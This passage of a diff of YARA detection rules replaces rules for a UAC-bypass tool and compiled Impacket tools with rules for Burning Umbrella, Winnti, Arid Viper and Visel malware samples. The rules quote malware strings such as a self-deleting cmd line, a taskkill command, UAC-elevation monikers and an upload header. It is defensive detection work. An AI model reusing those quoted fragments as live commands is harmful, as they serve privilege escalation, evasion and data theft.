-		$s8 = "AdjustTokenPrivileges failed (error: %u)." fullword ascii
-		$s9 = "AdjustTokenPrivileges (%S): OK" fullword ascii
-		$g1 = "%systemroot%\\system32\\cmd.exe" wide
-		$g2 = "SeTcbPrivilege" wide
-		$g3 = "winsta0\\default" wide
-		$g4 = ".rsrc"
-		$g5 = "HeapAlloc"
-		$g6 = "GetCurrentProcess"
-		$g7 = "HeapFree"
-		$g8 = "GetProcessHeap"
-		$g9 = "ExpandEnvironmentStrings"
-		$g10 = "ConvertStringSidToSid"
-		$g11 = "LookupPrivilegeValue"
-		$g12 = "AllocateLocallyUniqueId"
-		$g13 = "ADVAPI32.dll"
-		$g14 = "LsaLookupAuthenticationPackage"
-		$g15 = "Secur32.dll"
-		$g16 = "MSVCR120.dll"
+		hash1 = "d31374adc0b96a8a8b56438bbbc313061fd305ecee32a12738dd965910c8890f"
+		hash2 = "c74a8e6c88f8501fb066ae07753efe8d267afb006f555811083c51c7f546cb67"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <60KB and (1 of ($x*) or all of ($s*) or all of ($g*))
+		uint16(0)==0x5a4d and filesize <100KB and pe.imphash()=="75f201aa8b18e1c4f826b2fe0963b84f"
 }
-rule SIGNATURE_BASE_UACME_Akagi_2 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_Burningumbrella_Sample_14 : FILE
 {
 	meta:
-		description = "Detects Windows User Account Control Bypass - from files Akagi32.exe, Akagi64.exe"
+		description = "Detects malware sample from Burning Umbrella report"
 		author = "Florian Roth (Nextron Systems)"
-		id = "1177d663-1081-5d17-9dd7-1218d95d90f7"
-		date = "2017-02-03"
+		id = "a2b3a4bb-ca60-5dc2-8124-17e654e326b8"
+		date = "2018-05-04"
 		modified = "2023-12-05"
-		reference = "https://github.com/hfiref0x/UACME"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/exploit_uac_elevators.yar#L151-L174"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f79a82d466f51c86a0e6fb89688708c35dbcc7ba8f4543e5fb7565d41dd3faab"
-		score = 80
+		reference = "https://401trg.pw/burning-umbrella/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_winnti_burning_umbrella.yar#L217-L231"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "37515683804e9aa076a588048713b420501b2aaf6b8617501ef550484abd1c03"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "caf744d38820accb48a6e50216e547ed2bb3979604416dbcfcc991ce5e18f4ca"
-		hash2 = "609e9b15114e54ffc40c05a8980cc90f436a4a77c69f3e32fe391c0b130ff1c5"
+		hash1 = "388ef4b4e12a04eab451bd6393860b8d12948f2bce12e5c9022996a9167f4972"
 
 	strings:
-		$x1 = "Usage: Akagi.exe [Method] [OptionalParamToExecute]" fullword wide
-		$x2 = "[UCM] Target file already exists, abort" fullword wide
-		$s1 = "MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options" fullword wide
-		$s2 = "Akagi.exe" fullword wide
-		$s3 = "Elevation:Administrator!new:{3AD05575-8857-4850-9277-11B85BDB8E09}" fullword wide
-		$s4 = "/c wusa %ws /extract:%%windir%%\\system32\\sysprep" fullword wide
-		$s5 = "/c wusa %ws /extract:%%windir%%\\system32\\migwiz" fullword wide
-		$s6 = "loadFrom=\"%systemroot%\\system32\\sysprep\\cryptbase.DLL\"" fullword ascii
+		$s1 = "C:\\tmp\\Google_updata.exe" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <900KB and (1 of ($x*) or 3 of ($s*))) or (6 of them )
+		uint16(0)==0x5a4d and filesize <40KB and 1 of them
 }
-rule SIGNATURE_BASE_SUSP_BAT2EXE_Bdargo_Converted_BAT : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_Burningumbrella_Sample_15 : FILE
 {
 	meta:
-		description = "Detects binaries created with BDARGO Advanced BAT to EXE converter"
+		description = "Detects malware sample from Burning Umbrella report"
 		author = "Florian Roth (Nextron Systems)"
-		id = "c9da4184-1530-5525-bdba-2dcc8a221bb1"
-		date = "2018-07-28"
-		modified = "2022-06-23"
-		reference = "https://www.majorgeeks.com/files/details/advanced_bat_to_exe_converter.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_susp_bat2exe.yar#L2-L24"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "978aa25f1abd0cbd36e55da2b1ed4478a3a5b8b814988669c70e219cc2dd1afd"
-		score = 45
+		id = "4dc840c1-e6fa-5b21-bfcd-ef07cd85272a"
+		date = "2018-05-04"
+		modified = "2023-12-05"
+		reference = "https://401trg.pw/burning-umbrella/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_winnti_burning_umbrella.yar#L233-L248"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8541231fe1e48d7130aed64eee964f8eda6792b5dd3e708b98e9cc6f1f620cd0"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "d428d79f58425d831c2ee0a73f04749715e8c4dd30ccd81d92fe17485e6dfcda"
-		hash1 = "a547a02eb4fcb8f446da9b50838503de0d46f9bb2fd197c9ff63021243ea6d88"
-
-	strings:
-		$s1 = "Error #bdembed1 -- Quiting" fullword ascii
-		$s2 = "%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s" fullword ascii
-		$s3 = "\\a.txt" ascii
-		$s4 = "command.com" fullword ascii
-		$s6 = "DFDHERGDCV" fullword ascii
-		$s7 = "DFDHERGGZV" fullword ascii
-		$s8 = "%s%s%s%s%s%s%s%s" fullword ascii
+		hash1 = "be6bea22e909bd772d21647ffee6d15e208e386e8c3c95fd22816c6b94196ae8"
+		hash2 = "72a8fa454f428587d210cba0e74735381cd0332f3bdcbb45eecb7e271e138501"
+		hash3 = "9cc38ea106efd5c8e98c2e8faf97c818171c52fa3afa0c4c8f376430fa556066"
+		hash4 = "1a4a64f01b101c16e8b5928b52231211e744e695f125e056ef7a9412da04bb91"
+		hash5 = "3cd42e665e21ed4815af6f983452cbe7a4f2ac99f9ea71af4480a9ebff5aa048"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and 5 of them
+		uint16(0)==0x5a4d and filesize <50KB and pe.imphash()=="cc33b1500354cf785409a3b428f7cd2a"
 }
-rule SIGNATURE_BASE_Impacket_Tools_Tracer : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_Burningumbrella_Sample_16 : FILE
 {
 	meta:
-		description = "Compiled Impacket Tools"
+		description = "Detects malware sample from Burning Umbrella report"
 		author = "Florian Roth (Nextron Systems)"
-		id = "aea71154-5e19-522f-93b0-ff43fee0c5c0"
-		date = "2017-04-07"
+		id = "8b1970bd-571e-5c53-9170-1605c69d9d6d"
+		date = "2018-05-04"
 		modified = "2023-12-05"
-		reference = "https://github.com/maaaaz/impacket-examples-windows"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_impacket_tools.yar#L11-L26"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f851f20243e95fdab66f048c21d417ddb17e1c35e9b6be8219afdfee8c1e0291"
+		reference = "https://401trg.pw/burning-umbrella/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_winnti_burning_umbrella.yar#L250-L263"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2d0ee163e7f6f04bfe6941575d0916e18ce2e5c2426e0af326c9567560df3122"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "e300339058a885475f5952fb4e9faaa09bb6eac26757443017b281c46b03108b"
+		hash1 = "58bb3859e02b8483e9f84cc56fbd964486e056ef28e94dd0027d361383cc4f4a"
 
 	strings:
-		$s1 = "btk85.dll" fullword ascii
-		$s2 = "btcl85.dll" fullword ascii
-		$s3 = "xtk\\unsupported.tcl" fullword ascii
+		$s1 = "http://netimo.net 0" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <21000KB and all of them )
+		uint16(0)==0x5a4d and filesize <500KB and all of them
 }
-rule SIGNATURE_BASE_Impacket_Tools_Wmiexec : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_Burningumbrella_Sample_17 : FILE
 {
 	meta:
-		description = "Compiled Impacket Tools"
+		description = "Detects malware sample from Burning Umbrella report"
 		author = "Florian Roth (Nextron Systems)"
-		id = "3c2c7edf-da71-53dc-9ddf-dfbf10838a27"
-		date = "2017-04-07"
+		id = "d79d3f65-f27c-582b-9258-7c84dc7682a6"
+		date = "2018-05-04"
 		modified = "2023-12-05"
-		reference = "https://github.com/maaaaz/impacket-examples-windows"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_impacket_tools.yar#L28-L43"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1ac78768ae230aa00f392f7a7886589b14814e9c7379528d2ecd218852086ee4"
+		reference = "https://401trg.pw/burning-umbrella/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_winnti_burning_umbrella.yar#L265-L284"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ca1dc3a03926af15527d2cb95c87457c285891d42a0aa642f49414153bcfc39e"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "19544863758341fe7276c59d85f4aa17094045621ca9c98f8a9e7307c290bad4"
+		hash1 = "fa380dac35e16da01242e456f760a0e75c2ce9b68ff18cfc7cfdd16b2f4dec56"
+		hash2 = "854b64155f9ceac806b49f3e352949cc292e5bc33f110d965cf81a93f78d2f07"
+		hash3 = "1e462d8968e8b6e8784d7ecd1d60249b41cf600975d2a894f15433a7fdf07a0f"
+		hash4 = "3cdc149e387ec4a64cce1191fc30b8588df4a2947d54127eae43955ce3d08a01"
+		hash5 = "a026b11e15d4a81a449d20baf7cbd7b8602adc2644aa4bea1e55ff1f422c60e3"
 
 	strings:
-		$s1 = "bwmiexec.exe.manifest" fullword ascii
-		$s2 = "swmiexec" fullword ascii
-		$s3 = "\\yzHPlU=QA" ascii
+		$s1 = "syshell" fullword wide
+		$s2 = "Normal.dotm" fullword ascii
+		$s3 = "Microsoft Office Word" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <17000KB and 2 of them )
+		uint16(0)==0x5a4d and filesize <400KB and all of them
 }
-rule SIGNATURE_BASE_Impacket_Tools_Sniffer : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_Burningumbrella_Sample_18 : FILE
 {
 	meta:
-		description = "Compiled Impacket Tools"
+		description = "Detects malware sample from Burning Umbrella report"
 		author = "Florian Roth (Nextron Systems)"
-		id = "07051edc-91a8-59d6-87bf-dba98ef28588"
-		date = "2017-04-07"
+		id = "d08f4676-ff28-59be-9fd4-b5a824e577d9"
+		date = "2018-05-04"
 		modified = "2023-12-05"
-		reference = "https://github.com/maaaaz/impacket-examples-windows"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_impacket_tools.yar#L45-L59"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "77f4a7cdfced27ea342fe0fe6debebb720b7494b3f352465ab2fd92f2b7178ab"
+		reference = "https://401trg.pw/burning-umbrella/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_winnti_burning_umbrella.yar#L286-L313"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8ec1a1262874f636906186b569d231d6e3dd97ed6ef5cbddcbaf9f80cee301a0"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "efff15e1815fb3c156678417d6037ddf4b711a3122c9b5bc2ca8dc97165d3769"
+		hash1 = "d8df60524deb6df4f9ddd802037a248f9fbdd532151bb00e647b233e845b1617"
+		hash2 = "c55cb6b42cfabf0edf1499d383817164d1b034895e597068e019c19d787ea313"
+		hash3 = "32144ba8370826e069e5f1b6745a3625d10f50a809f3f2a72c4c7644ed0cab03"
+		hash4 = "ae616003d85a12393783eaff9778aba20189e423c11c852e96c29efa6ecfce81"
+		hash5 = "95b6e427883f402db73234b84a84015ad7f3456801cb9bb19df4b11739ea646d"
+		hash6 = "1419ba36aae1daecc7a81a2dfb96631537365a5b34247533d59a70c1c9f58da2"
+		hash7 = "6a5a9b0ae10ce6a0d5e1f7d21d8ea87894d62d0cda00db005d8d0de17cae7743"
+		hash8 = "74e348068f8851fec1b3de54550fe09d07fb85b7481ca6b61404823b473885bb"
+		hash9 = "adb9c2fe930fae579ce87059b4b9e15c22b6498c42df01db9760f75d983b93b2"
+		hash0 = "23f28b5c4e94d0ad86341c0b9054f197c63389133fcd81dd5e0cf59f774ce54b"
 
 	strings:
-		$s1 = "ssniffer" fullword ascii
-		$s2 = "impacket.dhcp(" ascii
+		$s1 = "c:\\tmp\\tran.exe" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <15000KB and all of them )
+		uint16(0)==0x5a4d and filesize <200KB and (pe.imphash()=="11675b4db0e7df7b29b1c1ef6f88e2e1" or pe.imphash()=="364e1f68e2d412db34715709c68ba467" or pe.exports("deKernel") or 1 of them )
 }
-rule SIGNATURE_BASE_Impacket_Tools_Mmcexec : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_Burningumbrella_Sample_19 : FILE
 {
 	meta:
-		description = "Compiled Impacket Tools"
+		description = "Detects malware sample from Burning Umbrella report"
 		author = "Florian Roth (Nextron Systems)"
-		id = "cca2082f-72a4-50c8-80b8-a9bed430dc4e"
-		date = "2017-04-07"
+		id = "8ab55e80-5d28-5a5f-a1cc-725ba6720e4b"
+		date = "2018-05-04"
 		modified = "2023-12-05"
-		reference = "https://github.com/maaaaz/impacket-examples-windows"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_impacket_tools.yar#L61-L75"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1aee75155ed3d868f576d7d650f0791ac54e351851f7bfb65390b4ae5c4c83b9"
+		reference = "https://401trg.pw/burning-umbrella/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_winnti_burning_umbrella.yar#L315-L332"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "218c16d1b67e3e80dc7fdaf67a869e92b39744cb336e70761ac960da36c00372"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "263a1655a94b7920531e123a8c9737428f2988bf58156c62408e192d4b2a63fc"
+		hash1 = "05e2912f2a593ba16a5a094d319d96715cbecf025bf88bb0293caaf6beb8bc20"
+		hash2 = "e7bbdb275773f43c8e0610ad75cfe48739e0a2414c948de66ce042016eae0b2e"
 
 	strings:
-		$s1 = "smmcexec" fullword ascii
-		$s2 = "\\yzHPlU=QA" ascii
+		$s1 = "Cryption.dll" fullword ascii
+		$s2 = "tran.exe" fullword ascii
+		$s3 = "Kernel.dll" fullword ascii
+		$s4 = "Now ready to get the file %s!" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <16000KB and all of them )
+		uint16(0)==0x5a4d and filesize <200KB and 3 of them
 }
-rule SIGNATURE_BASE_Impacket_Tools_Ifmap : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_Burningumbrella_Sample_20 : FILE
 {
 	meta:
-		description = "Compiled Impacket Tools"
+		description = "Detects malware sample from Burning Umbrella report"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e5461916-ec2b-5f65-b938-267483f50bb2"
-		date = "2017-04-07"
-		modified = "2023-12-05"
-		reference = "https://github.com/maaaaz/impacket-examples-windows"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_impacket_tools.yar#L77-L91"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "bbe875e03434c040da914e81ec5ef691ba8fd02607631e118d958819d0e94ff5"
+		id = "1a39a76a-31e2-5d6e-82cb-ea38d503b6a9"
+		date = "2018-05-04"
+		modified = "2023-01-06"
+		reference = "https://401trg.pw/burning-umbrella/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_winnti_burning_umbrella.yar#L334-L355"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e2739a89451a4eba0bae345203dd4c0e26f715bb079830e36c772861fdd0f4de"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "20a1f11788e6cc98a76dca2db4691963c054fc12a4d608ac41739b98f84b3613"
+		hash1 = "5c12379cd7ab3cb03dac354d0e850769873d45bb486c266a893c0daa452aa03c"
+		hash2 = "172cd90fd9e31ba70e47f0cc76c07d53e512da4cbfd197772c179fe604b75369"
+		hash3 = "1ce88e98c8b37ea68466657485f2c01010a4d4a88587ba0ae814f37680a2e7a8"
 
 	strings:
-		$s1 = "bifmap.exe.manifest" fullword ascii
-		$s2 = "impacket.dcerpc.v5.epm(" ascii
+		$s1 = "Wordpad.Document.1\\shell\\open\\command\\" wide
+		$s2 = "%s\\shell\\Open\\command" fullword wide
+		$s3 = "expanding computer" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <15000KB and all of them )
+		uint16(0)==0x5a4d and filesize <500KB and (pe.imphash()=="bac338bfe2685483c201e15eae4352d5" or 2 of them )
 }
-rule SIGNATURE_BASE_Karmasmb : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_Burningumbrella_Sample_21 : FILE
 {
 	meta:
-		description = "Compiled Impacket Tools"
+		description = "Detects malware sample from Burning Umbrella report"
 		author = "Florian Roth (Nextron Systems)"
-		id = "32c810c7-02e7-5203-b2ed-4e930b318cc0"
-		date = "2017-04-07"
+		id = "2193e4b6-b71c-5031-8e43-fdd7177ad05c"
+		date = "2018-05-04"
 		modified = "2023-12-05"
-		reference = "https://github.com/maaaaz/impacket-examples-windows"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_impacket_tools.yar#L93-L106"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "94322dda799bcb25caeb7f9e526bcc14c6dfd9247080b4bb79dcd7b340fcb36c"
+		reference = "https://401trg.pw/burning-umbrella/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_winnti_burning_umbrella.yar#L357-L376"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4fdb162575bd108bb35e5c8ed10f7cac7539a15349218222dbb82d8eae8ad4bb"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "d256d1e05695d62a86d9e76830fcbb856ba7bd578165a561edd43b9f7fdb18a3"
+		hash1 = "4b7b9c2a9d5080ccc4e9934f2fd14b9d4e8f6f500889bf9750f1d672c8724438"
 
 	strings:
-		$s1 = "bkarmaSMB.exe.manifest" fullword ascii
+		$s1 = "c:\\windows\\ime\\setup.exe" fullword ascii
+		$s2 = "ws.run \"later.bat /start\",0Cet " fullword ascii
+		$s3 = "del later.bat" fullword ascii
+		$s4 = "mycrs.xls" fullword ascii
+		$a1 = "-el -s2 \"-d%s\" \"-p%s\" \"-sp%s\"" fullword ascii
+		$a2 = "<set ws=wscript.createobject(\"wscript.shell\")" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <17000KB and all of them )
+		uint16(0)==0x5a4d and filesize <500KB and 2 of them
 }
-rule SIGNATURE_BASE_Samrdump : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_Burningumbrella_Sample_22 : FILE
 {
 	meta:
-		description = "Compiled Impacket Tools"
+		description = "Detects malware sample from Burning Umbrella report"
 		author = "Florian Roth (Nextron Systems)"
-		id = "cd274719-c8cc-5882-8d75-192ad822c6b3"
-		date = "2017-04-07"
+		id = "90c6cda9-95a0-5de7-b1cd-110c238d993d"
+		date = "2018-05-04"
 		modified = "2023-12-05"
-		reference = "https://github.com/maaaaz/impacket-examples-windows"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_impacket_tools.yar#L108-L122"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6bc0a4d9f9bd0d72e7f2ce4b0f8608296e6f2db14fd3a1740e0eebfe35629018"
+		reference = "https://401trg.pw/burning-umbrella/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_winnti_burning_umbrella.yar#L378-L395"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "af2d7917f54ca365465383484b6d19a941d4801898d162a6d3afa7b7c8491a0f"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "4c2921702d18e0874b57638433474e54719ee6dfa39d323839d216952c5c834a"
+		hash1 = "fa116cf9410f1613003ca423ad6ca92657a61b8e9eda1b05caf4f30ca650aee5"
 
 	strings:
-		$s2 = "bsamrdump.exe.manifest" fullword ascii
-		$s3 = "ssamrdump" fullword ascii
+		$s1 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\" ascii
+		$s3 = "Content-Disposition: form-data; name=\"txt\"; filename=\"" fullword ascii
+		$s4 = "Fail To Enum Service" fullword ascii
+		$s5 = "Host Power ON Time" fullword ascii
+		$s6 = "%d Hours %2d Minutes %2d Seconds " fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <17000KB and all of them )
+		uint16(0)==0x5a4d and filesize <200KB and 4 of them
 }
-rule SIGNATURE_BASE_Impacket_Tools_Rpcdump : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_Airdviper_Sample_Apr18_1 : FILE
 {
 	meta:
-		description = "Compiled Impacket Tools"
+		description = "Detects Arid Viper malware sample"
 		author = "Florian Roth (Nextron Systems)"
-		id = "3f998aa6-c260-5fef-99ef-e8b4770c68c6"
-		date = "2017-04-07"
+		id = "00f118d1-be1c-5f50-a50f-591f824a1a53"
+		date = "2018-05-04"
 		modified = "2023-12-05"
-		reference = "https://github.com/maaaaz/impacket-examples-windows"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_impacket_tools.yar#L124-L138"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "cf0a64391ef0a5d3f87996fb3e4f152a3ff4938356b96f840aa3f4f4f30aaa97"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_winnti_burning_umbrella.yar#L398-L422"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "cbe1f36320eb9640ffbb6495faf7e5a062c5929d022bb56cbf0ebee810ef4e94"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "21d85b36197db47b94b0f4995d07b040a0455ebbe6d413bc33d926ee4e0315d9"
+		hash1 = "9f453f1d5088bd17c60e812289b4bb0a734b7ad2ba5a536f5fd6d6ac3b8f3397"
 
 	strings:
-		$s1 = "srpcdump" fullword ascii
-		$s2 = "impacket.dcerpc.v5.epm(" ascii
+		$x1 = "cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del \"%s\"" fullword ascii
+		$x2 = "daenerys=%s&" ascii
+		$x3 = "betriebssystem=%s&anwendung=%s&AV=%s" ascii
+		$s1 = "Taskkill /IM  %s /F &  %s" fullword ascii
+		$s2 = "/api/primewire/%s/requests/macKenzie/delete" fullword ascii
+		$s3 = "\\TaskWindows.exe" ascii
+		$s4 = "MicrosoftOneDrives.exe" fullword ascii
+		$s5 = "\\SeanSansom.txt" ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <17000KB and all of them )
+		uint16(0)==0x5a4d and filesize <6000KB and (1 of ($x*) or 4 of them )
 }
-rule SIGNATURE_BASE_Impacket_Tools_Secretsdump : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_Winnti_Sample_May18_1 : FILE
 {
 	meta:
-		description = "Compiled Impacket Tools"
+		description = "Detects malware sample from Burning Umbrella report - Generic Winnti Rule"
 		author = "Florian Roth (Nextron Systems)"
-		id = "c944d051-ea24-5595-abef-59e326ad56de"
-		date = "2017-04-07"
+		id = "c2f3339e-269f-5a51-8db6-06e54a707b3a"
+		date = "2018-05-04"
 		modified = "2023-12-05"
-		reference = "https://github.com/maaaaz/impacket-examples-windows"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_impacket_tools.yar#L140-L154"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "462748d60764c6fbaeede48b5a98cb68f61cf695f976bf6db94cb497be48fcb2"
+		reference = "https://401trg.pw/burning-umbrella/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_winnti_burning_umbrella.yar#L426-L440"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e235396de278120cbc4700f239c41e7f21e97ba111c07022ae505de540dda2bc"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "47afa5fd954190df825924c55112e65fd8ed0f7e1d6fd403ede5209623534d7d"
+		hash1 = "528d9eaaac67716e6b37dd562770190318c8766fa1b2f33c0974f7d5f6725d41"
 
 	strings:
-		$s1 = "ssecretsdump" fullword ascii
-		$s2 = "impacket.ese(" ascii
+		$s1 = "wireshark" fullword wide
+		$s2 = "procexp" fullword wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <17000KB and all of them )
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Impacket_Tools_Esentutl : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_Visel_Sample_May18_1 : FILE
 {
 	meta:
-		description = "Compiled Impacket Tools"
+		description = "Detects Visel malware sample from Burning Umbrella report"
 		author = "Florian Roth (Nextron Systems)"
-		id = "1965e2b3-54be-553a-83d6-a0d4919414dd"
-		date = "2017-04-07"
+		id = "a244461a-380c-56e6-a891-131f6e13c280"
+		date = "2018-05-04"
 		modified = "2023-12-05"
-		reference = "https://github.com/maaaaz/impacket-examples-windows"
